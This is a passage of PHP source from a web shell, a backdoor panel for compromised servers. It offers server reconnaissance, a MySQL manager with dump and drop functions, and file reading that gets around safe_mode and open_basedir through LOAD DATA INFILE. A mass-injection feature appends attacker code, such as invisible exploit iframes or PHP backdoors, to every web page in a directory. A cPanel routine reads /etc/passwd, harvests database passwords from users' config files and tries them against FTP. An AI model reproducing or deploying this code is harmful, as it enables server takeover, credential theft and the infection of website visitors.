& 00020) > 0; $g["x"] = ($mode & 00010) > 0; $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); } } if (!function_exists("parsesort")) { function parsesort($sort) { $one = intval($sort); $second = substr($sort,-1); if ($second != "d") {$second = "a";} return array($one,$second); } } if (!function_exists("view_perms_color")) { function view_perms_color($o) { if (!is_readable($o)) {return "".view_perms(fileperms($o))."";} elseif (!is_writable($o)) {return "".view_perms(fileperms($o))."";} else {return "".view_perms(fileperms($o))."";} } } if (!function_exists("mysql_dump")) { function mysql_dump($set) { global $sh_ver; $sock = $set["sock"]; $db = $set["db"]; $print = $set["print"]; $nl2br = $set["nl2br"]; $file = $set["file"]; $add_drop = $set["add_drop"]; $tabs = $set["tabs"]; $onlytabs = $set["onlytabs"]; $ret = array(); $ret["err"] = array(); if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} if (empty($db)) {$db = "db";} if (empty($print)) {$print = 0;} if (empty($nl2br)) {$nl2br = 0;} if (empty($add_drop)) {$add_drop = TRUE;} if (empty($file)) { $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; } if (!is_array($tabs)) {$tabs = array();} if (empty($add_drop)) {$add_drop = TRUE;} if (sizeof($tabs) == 0) { $res = mysql_query("SHOW TABLES FROM ".$db, $sock); if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} } $out = " # Dumped by ".$sh_name." # # Host settings: # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." # Date: ".date("d.m.Y H:i:s")." # DB: \"".$db."\" #---------------------------------------------------------"; $c = count($onlytabs); foreach($tabs as $tab) { if ((in_array($tab,$onlytabs)) or (!$c)) { if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); if (!$res) {$ret["err"][] = mysql_smarterror();} else { $row = mysql_fetch_row($res); $out .= $row["1"].";\n\n"; $res = mysql_query("SELECT * FROM `$tab`", $sock); if (mysql_num_rows($res) > 0) { while ($row = mysql_fetch_assoc($res)) { $keys = implode("`, `", array_keys($row)); $values = array_values($row); foreach($values as $k=>$v) {$values[$k] = addslashes($v);} $values = implode("', '", $values); $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; $out .= $sql; } } } } } $out .= "#---------------------------------------------------------------------------------\n\n"; if ($file) { $fp = fopen($file, "w"); if (!$fp) {$ret["err"][] = 2;} else { fwrite ($fp, $out); fclose ($fp); } } if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} return $out; } } if (!function_exists("mysql_buildwhere")) { function mysql_buildwhere($array,$sep=" and",$functs=array()) { if (!is_array($array)) {$array = array();} $result = ""; foreach($array as $k=>$v) { $value = ""; if (!empty($functs[$k])) {$value .= $functs[$k]."(";} $value .= "'".addslashes($v)."'"; if (!empty($functs[$k])) {$value .= ")";} $result .= "`".$k."` = ".$value.$sep; } $result = substr($result,0,strlen($result)-strlen($sep)); return $result; } } if (!function_exists("mysql_fetch_all")) { function mysql_fetch_all($query,$sock) { if ($sock) {$result = mysql_query($query,$sock);} else {$result = mysql_query($query);} $array = array(); while ($row = mysql_fetch_array($result)) {$array[] = $row;} mysql_free_result($result); return $array; } } if (!function_exists("mysql_smarterror")) { function mysql_smarterror($type,$sock) { if ($sock) {$error = mysql_error($sock);} else {$error = mysql_error();} $error = htmlspecialchars($error); return $error; } } if (!function_exists("mysql_query_form")) { function mysql_query_form() { global $submit,$sql_x,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error:
".$sql_query_error."
";} if ($sql_query_result or (!$sql_confirm)) {$sql_x = $sql_goto;} if ((!$submit) or ($sql_x)) { echo ""; if ($tbl_struct) { echo "
"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":



Fields:
"; foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ ".$name."
";} echo "
"; } } if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} } } if (!function_exists("mysql_create_db")) { function mysql_create_db($db,$sock="") { $sql = "CREATE DATABASE `".addslashes($db)."`;"; if ($sock) {return mysql_query($sql,$sock);} else {return mysql_query($sql);} } } if (!function_exists("mysql_query_parse")) { function mysql_query_parse($query) { $query = trim($query); $arr = explode (" ",$query); $types = array( "SELECT"=>array(3,1), "SHOW"=>array(2,1), "DELETE"=>array(1), "DROP"=>array(1) ); $result = array(); $op = strtoupper($arr[0]); if (is_array($types[$op])) { $result["propertions"] = $types[$op]; $result["query"] = $query; if ($types[$op] == 2) { foreach($arr as $k=>$v) { if (strtoupper($v) == "LIMIT") { $result["limit"] = $arr[$k+1]; $result["limit"] = explode(",",$result["limit"]); if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} unset($arr[$k],$arr[$k+1]); } } } } else {return FALSE;} } } if (!function_exists("cafsearch")) { function cafsearch($d) { global $found; global $found_d; global $found_f; global $search_i_f; global $search_i_d; global $a; if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $h = opendir($d); while (($f = readdir($h)) !== FALSE) { if($f != "." && $f != "..") { $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); if (is_dir($d.$f)) { $search_i_d++; if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} if (!is_link($d.$f)) {cafsearch($d.$f);} } else { $search_i_f++; if ($bool) { if (!empty($a["text"])) { $r = @file_get_contents($d.$f); if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} else {$bool = strpos(" ".$r,$a["text"],1);} if ($a["text_not"]) {$bool = !$bool;} if ($bool) {$found[] = $d.$f; $found_f++;} } else {$found[] = $d.$f; $found_f++;} } } } } closedir($h); } } if ($x == "gofile") { if (is_dir($f)) { $x = "ls"; $d = $f; } else { $x = "f"; $d = dirname($f); $f = basename($f); } } @ob_start(); @ob_implicit_flush(0); function onphpshutdown() { global $gzipencode,$ft; if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) { $v = @ob_get_contents(); @ob_end_clean(); @ob_start("ob_gzHandler"); echo $v; @ob_end_flush(); } } function capriv8exit() { onphpshutdown(); exit; } header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", FALSE); header("Pragma: no-cache"); if (empty($tmpdir)) { $tmpdir = ini_get("upload_tmp_dir"); if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} } $tmpdir = realpath($tmpdir); $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} else {$tmpdir_logs = realpath($tmpdir_logs);} function showstat($stat) { if ($stat=="on") { return "ON"; } else { return "OFF"; } } function testperl() { if (ex('perl -h')) { return showstat("on"); } else { return showstat("off"); } } function testfetch() { if(ex('fetch --help')) { return showstat("on"); } else { return showstat("off"); } } function testwget() { if (ex('wget --help')) { return showstat("on"); } else { return showstat("off"); } } function testoracle() { if (function_exists('ocilogon')) { return showstat("on"); } else { return showstat("off"); } } function testpostgresql() { if (function_exists('pg_connect')) { return showstat("on"); } else { return showstat("off"); } } function testmssql() { if (function_exists('mssql_connect')) { return showstat("on"); } else { return showstat("off"); } } function testcurl() { if (function_exists('curl_version')) { return showstat("on"); } else { return showstat("off"); } } function testmysql() { if (function_exists('mysql_connect')) { return showstat("on"); } else { return showstat("off"); } } function showdisablefunctions() { if ($disablefunc=@ini_get("disable_functions")){ return "".$disablefunc.""; } else { return "NONE"; } } if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = TRUE; $hsafemode = "SAFE MODE is ON (Secure)"; } else { $safemode = FALSE; $hsafemode = "SAFE MODE is OFF (Not Secure)"; } $v = @ini_get("open_basedir"); if ($v or strtolower($v) == "on") { $openbasedir = TRUE; $hopenbasedir = "".$v.""; } else { $openbasedir = FALSE; $hopenbasedir = "OFF (not secure)"; } $sort = htmlspecialchars($sort); if (empty($sort)) {$sort = $sort_default;} $sort[1] = strtolower($sort[1]); $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"PHP/".phpversion()."",htmlspecialchars($DISP_SERVER_SOFTWARE)); @ini_set("highlight.bg",$highlight_bg); @ini_set("highlight.comment",$highlight_comment); @ini_set("highlight.default",$highlight_default); @ini_set("highlight.html",$highlight_html); @ini_set("highlight.keyword",$highlight_keyword); @ini_set("highlight.string",$highlight_string); if (!is_array($actbox)) { $actbox = array(); } $dspact = $x = htmlspecialchars($x); $disp_fullpath = $ls_arr = $notls = null; $ud = urlencode($d); $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $d = str_replace("\\\\","\\",$d); $dispd = htmlspecialchars($d); echo $html_start; echo "

$sh_name


\n"; echo "". ""; echo ""; echo "

". "Software : ".$DISP_SERVER_SOFTWARE ." - php.ini
". "$hsafemode
". "OS : ".php_uname()."
"; if (!$win) { echo "User ID : ".myshellexec("id"); } else { echo "User : " . get_current_user(); } echo "

Server IP : ".gethostbyname($_SERVER["HTTP_HOST"])." - ". "Your IP : ".$_SERVER["REMOTE_ADDR"]."
"; if($win){echo "Drives : ".disp_drives($d,$surl)."
";} echo "Freespace : ".disp_freespace($d); echo "

"; echo "MySQL: ".testmysql()." MSSQL: ".testmssql()." Oracle: ".testoracle()." MSSQL: ".testmssql()." PostgreSQL: ".testpostgresql(). " cURL: ".testcurl()." WGet: ".testwget()." Fetch: ".testfetch()." Perl: ".testperl()."
"; echo "Disabled Functions: ".showdisablefunctions(); echo "

"; echo "

"; $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); $i = 0; foreach($pd as $b) { $t = ""; $j = 0; foreach ($e as $r) { $t.= $r.DIRECTORY_SEPARATOR; if ($j == $i) { break; } $j++; } echo "".htmlspecialchars($b).DIRECTORY_SEPARATOR.""; $i++; } echo " - "; if (is_writable($d)) { $wd = TRUE; $wdt = "[OK]"; echo "".view_perms(fileperms($d)).""; } else { $wd = FALSE; $wdt = "[Read-Only]"; echo "".view_perms_color($d).""; } ?>

Directory:
\n"; if ($x == "") { $x = $dspact = "ls"; } if ($x == "phpini" ) { get_phpini(); } if ($x == "sql") { $sql_surl = $surl."x=sql"; if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} $sql_surl .= "&"; echo "". ""; if (!$sql_sock) { echo ""; } echo "
"; if ($sql_server) { $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); $err = mysql_smarterror(); @mysql_select_db($sql_db,$sql_sock); if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} } else {$sql_sock = FALSE;} echo ".: SQL Manager :.
"; if (!$sql_sock) { if (!$sql_server) {echo "NO CONNECTION";} else {echo "Can't connect! ".$err;} } else { $sqlquicklaunch = array(); $sqlquicklaunch[] = array("Index",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); $sqlquicklaunch[] = array("Query",$sql_surl."sql_x=query&sql_tbl=".urlencode($sql_tbl)); $sqlquicklaunch[] = array("Server-status",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=serverstatus"); $sqlquicklaunch[] = array("Server variables",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=servervars"); $sqlquicklaunch[] = array("Processes",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=processes"); $sqlquicklaunch[] = array("Logout",$surl."x=sql"); echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")
"; if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}} } echo "
  • If login is null, login is owner of process.
  • If host is null, host is localhost
  • If port is null, port is 3306 (default)
  • "; echo ""; } else { if (!empty($sql_db)) { ?>
    Please, fill the form:
    UsernamePasswordDatabase
    HostPORT
    ">Home
    ".htmlspecialchars($sql_db)." ]---
    "; $c = 0; while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "".htmlspecialchars($row[0])." (".$count_row[0].")
    "; mysql_free_result($count); $c++;} if (!$c) {echo "No tables found in database.";} } } else { ?>
    Home

    Please, select database
    "; $diplay = TRUE; if ($sql_db) { if (!is_numeric($c)) {$c = 0;} if ($c == 0) {$c = "no";} echo "
    There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").
    "; if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}} echo "
    "; $acts = array("","dump"); if ($sql_x == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";} elseif ($sql_x == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_x = "query";} elseif ($sql_x == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_x = "dump";} elseif ($sql_x == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";} elseif ($sql_x == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";} elseif ($sql_x == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";} elseif ($sql_x == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";} elseif ($sql_x == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_x = "query";} elseif ($sql_tbl_x == "insert") { if ($sql_tbl_insert_radio == 1) { $keys = ""; $akeys = array_keys($sql_tbl_insert); foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} $values = ""; $i = 0; foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; $sql_x = "query"; $sql_tbl_x = "browse"; } elseif ($sql_tbl_insert_radio == 2) { $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; $result = mysql_query($sql_query) or print(mysql_smarterror()); $result = mysql_fetch_array($result, MYSQL_ASSOC); $sql_x = "query"; $sql_tbl_x = "browse"; } } if ($sql_x == "query") { echo "
    "; if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error:
    ".$sql_query_error."
    ";} if ($sql_query_result or (!$sql_confirm)) {$sql_x = $sql_goto;} if ((!$submit) or ($sql_x)) {echo "
    "; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "



    ";} } if (in_array($sql_x,$acts)) { ?>
    Create new table:
    Dump DB:
    ">
    ";} if ($sql_x == "newtbl") { echo ""; if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) { echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!
    "; } else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".
    Reason: ".mysql_smarterror();} } elseif ($sql_x == "dump") { if (empty($submit)) { $diplay = FALSE; echo "
    SQL-Dump:

    "; echo "DB:

    "; $v = join (";",$dmptbls); echo "Only tables (explode \";\") 1: 

    "; if ($dump_file) {$tmp = $dump_file;} else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} echo "File: 

    "; echo "Download:  

    "; echo "Save to file:  "; echo "



    1 - all, if empty"; echo "
    "; } else { $diplay = TRUE; $set = array(); $set["sock"] = $sql_sock; $set["db"] = $sql_db; $dump_out = "download"; $set["print"] = 0; $set["nl2br"] = 0; $set[""] = 0; $set["file"] = $dump_file; $set["add_drop"] = TRUE; $set["onlytabs"] = array(); if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} $ret = mysql_dump($set); if ($sql_dump_download) { @ob_clean(); header("Content-type: application/octet-stream"); header("Content-length: ".strlen($ret)); header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); echo $ret; exit; } elseif ($sql_dump_savetofile) { $fp = fopen($sql_dump_file,"w"); if (!$fp) {echo "Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} else { fwrite($fp,$ret); fclose($fp); echo "Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")."; } } else {echo "Dump: nothing to do!";} } } if ($diplay) { if (!empty($sql_tbl)) { if (empty($sql_tbl_x)) {$sql_tbl_x = "browse";} $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); $count_row = mysql_fetch_array($count); mysql_free_result($count); $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); $tbl_struct_fields = array(); while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} $perpage = $sql_tbl_le - $sql_tbl_ls; if (!is_numeric($perpage)) {$perpage = 10;} $numpages = $count_row[0]/$perpage; $e = explode(" ",$sql_order); if (count($e) == 2) { if ($e[0] == "d") {$asc_desc = "DESC";} else {$asc_desc = "ASC";} $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; } else {$v = "";} $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; $result = mysql_query($query) or print(mysql_smarterror()); echo "
    Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)
    "; echo "[ Structure ]   "; echo "[ Browse ]   "; echo "[ Dump ]   "; echo "Insert ]   "; if ($sql_tbl_x == "structure") {echo "

    Coming sooon!";} if ($sql_tbl_x == "insert") { if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} if (!empty($sql_tbl_insert_radio)) { } //Not Ready else { echo "

    Inserting row into table:
    "; if (!empty($sql_tbl_insert_q)) { $sql_query = "SELECT * FROM `".$sql_tbl."`"; $sql_query .= " WHERE".$sql_tbl_insert_q; $sql_query .= " LIMIT 1;"; $result = mysql_query($sql_query,$sql_sock) or print("

    ".mysql_smarterror()); $values = mysql_fetch_assoc($result); mysql_free_result($result); } else {$values = array();} echo "
    "; foreach ($tbl_struct_fields as $field) { $name = $field["Field"]; if (empty($sql_tbl_insert_q)) {$v = "";} echo ""; $i++; } echo "
    FieldTypeFunctionValue
    ".htmlspecialchars($name)."".$field["Type"]."

    "; echo "Insert as new row"; if (!empty($sql_tbl_insert_q)) {echo " or Save"; echo "";} echo "

    "; } } if ($sql_tbl_x == "browse") { $sql_tbl_ls = abs($sql_tbl_ls); $sql_tbl_le = abs($sql_tbl_le); echo "
    "; echo "\"Pages\" "; $b = 0; for($i=0;$i<$numpages;$i++) { if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";} echo $i; if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";} if (($i/30 == round($i/30)) and ($i > 0)) {echo "
    ";} else {echo " ";} } if ($i == 0) {echo "empty";} echo "
    From:  To:  
    "; echo "
    "; echo ""; echo ""; for ($i=0;$i"; if (empty($e[0])) {$e[0] = "a";} if ($e[1] != $v) {echo "".$v."";} else {echo "".$v."\"".$m."\"";} echo ""; } echo ""; echo ""; while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { echo ""; $w = ""; $i = 0; foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} echo ""; $i = 0; foreach ($row as $k=>$v) { $v = htmlspecialchars($v); if ($v == "") {$v = "NULL";} echo ""; $i++; } echo ""; echo ""; } mysql_free_result($result); echo "
    Action
    ".$v.""; echo "\"Delete\" "; echo "\"Edit\" "; echo "

     

    "; } } else { $result = mysql_query("SHOW TABLE STATUS", $sql_sock); if (!$result) {echo mysql_smarterror();} else { echo "
    "; $i = 0; $tsize = $trows = 0; while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $tsize += $row["Data_length"]; $trows += $row["Rows"]; $size = view_size($row["Data_length"]); echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; $i++; } echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo "
    Table
    RowsTypeCreatedModifiedSizeAction
     ".$row["Name"]." ".$row["Rows"]."".$row["Type"]."".$row["Create_time"]."".$row["Update_time"]."".$size." \"Empty\"  \"Drop\" \"Insert\" 
    +
    ".$i." table(s)
    ".$trows."".$row[1]."".$row[10]."".$row[11]."".view_size($tsize)."

     

    "; mysql_free_result($result); } } } } } else { $acts = array("","newdb","serverstatus","servervars","processes","getfile"); if (in_array($sql_x,$acts)) {?>
    Create new DB:
     
    View File:
     
    "; if ($sql_x == "newdb") { echo ""; if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!
    ";} else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".
    Reason:
    ".mysql_smarterror();} } if ($sql_x == "serverstatus") { $result = mysql_query("SHOW STATUS", $sql_sock); echo "
    Server-status variables:

    "; echo ""; while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "";} echo "
    NameValue
    ".$row[0]."".$row[1]."
    "; mysql_free_result($result); } if ($sql_x == "servervars") { $result = mysql_query("SHOW VARIABLES", $sql_sock); echo "
    Server variables:

    "; echo ""; while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "";} echo "
    NameValue
    ".$row[0]."".$row[1]."
    "; mysql_free_result($result); } if ($sql_x == "processes") { if (!empty($kill)) { $query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "Process #".$kill." was killed."; } $result = mysql_query("SHOW PROCESSLIST", $sql_sock); echo "
    Processes:

    "; echo ""; while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "";} echo "
    IDUSERHOSTDBCOMMANDTIMESTATEINFOAction
    ".$row[0]."".$row[1]."".$row[2]."".$row[3]."".$row[4]."".$row[5]."".$row[6]."".$row[7]."Kill
    "; mysql_free_result($result); } if ($sql_x == "getfile") { $tmpdb = $sql_login."_tmpdb"; $select = mysql_select_db($tmpdb); if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} if ($select) { $created = FALSE; mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); $result = mysql_query("SELECT * FROM tmp_file;"); if (!$result) {echo "Error in reading file (permision denied)!";} else { for ($i=0;$iFile \"".$sql_getfile."\" does not exists or empty!
    ";} else {echo "File \"".$sql_getfile."\":
    ".nl2br(htmlspecialchars($f))."
    ";} mysql_free_result($result); mysql_query("DROP TABLE tmp_file;"); } } mysql_drop_db($tmpdb); } } } } echo "
    "; if ($sql_sock) { $affected = @mysql_affected_rows($sql_sock); if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} echo "
    Affected rows : ".$affected."
    "; } if ($x == 'massbrowsersploit') { ?> Mass Code Injection:

    Use this to add HTML to the end of every .php, .htm, and .html page in the directory specified.

    Dir to inject: <-- default is dir this shell is in
    Code to inject: <-- best bet would be to include an invisible iframe of browser exploits
    '.$injectj00.' was injected
    '; } else { echo 'failed to inject '.$injectj00.''; } } foreach (glob($_GET['pathtomass']."/*.htm") as $injectj00) { $fp=fopen($injectj00,"a+"); if (fputs($fp,$lolinject)){ echo $injectj00.' was injected
    '; } else { echo 'failed to inject '.$injectj00.''; } } foreach (glob($_GET['pathtomass']."/*.html") as $injectj00) { $fp=fopen($injectj00,"a+"); if (fputs($fp,$lolinject)){ echo $injectj00.' was injected
    '; } else { echo 'failed to inject '.$injectj00.''; } } } else { //end if inputted dir is real -- if not, show an ugly red error echo ''.$_GET['pathtomass'].' is not available!'; } // end if inputted dir is real, for real this time } // end if confirmation to mass sploit is go //new php backdoor ?> Mass Code Injection:

    Use this to add PHP to the end of every .php page in the directory specified.

    Dir to inject: <-- default is dir this shell is in
    Code to inject:
    '.$injectj00.' was injected
    '; } else { echo 'failed to inject '.$injectj00.''; } } } else { //end if inputted dir is real -- if not, show an ugly red error echo ''.$_GET['pathtomass'].' is not available!'; } // end if inputted dir is real, for real this time } // end if confirmation to mass sploit is php only } // end if massbrowsersploit is called if ($x == 'cpanel'){ if ($_GET['go'] == 'go'){ set_time_limit(0); ################## @$passwd=fopen('/etc/passwd','r'); if (!$passwd) { echo "[-] Error : coudn't read /etc/passwd"; exit; } $path_to_public=array(); $users=array(); $pathtoconf=array(); $i=0; while(!feof($passwd)) { $str=fgets($passwd); if ($i>35) { $pos=strpos($str,":"); $username=substr($str,0,$pos); $dirz="/home/$username/public_html/"; if (($username!="")) { if (is_readable($dirz)) { array_push($users,$username); array_push($path_to_public,$dirz); } } } $i++; } ################### ######################### function read_dir($path,$username) { if ($handle = opendir($path)) { while (false !== ($file = readdir($handle))) { $fpath="$path$file"; if (($file!='.') and ($file!='..')) { if (is_readable($fpath)) { $dr="$fpath/"; if (is_dir($dr)) { read_dir($dr,$username); } else { if (($file=='config.php') or ($file=='config.inc.php') or ($file=='db.inc.php') or ($file=='connect.php') or ($file=='wp-config.php') or ($file=='var.php') or ($file=='configure.php') or ($file=='db.php') or ($file=='db_connect.php')) { $pass=get_pass($fpath); if ($pass!='') { echo "[+] $fpath\n$pass\n"; ftp_check($username,$pass); } } } } } } } } function get_pass($link) { @$config=fopen($link,'r'); while(!feof($config)) { $line=fgets($config); if (strstr($line,'pass') or strstr($line,'password') or strstr($line,'passwd')) { if (strrpos($line,'"')) $pass=substr($line,(strpos($line,'=')+3),(strrpos($line,'"')-(strpos($line,'=')+3))); else 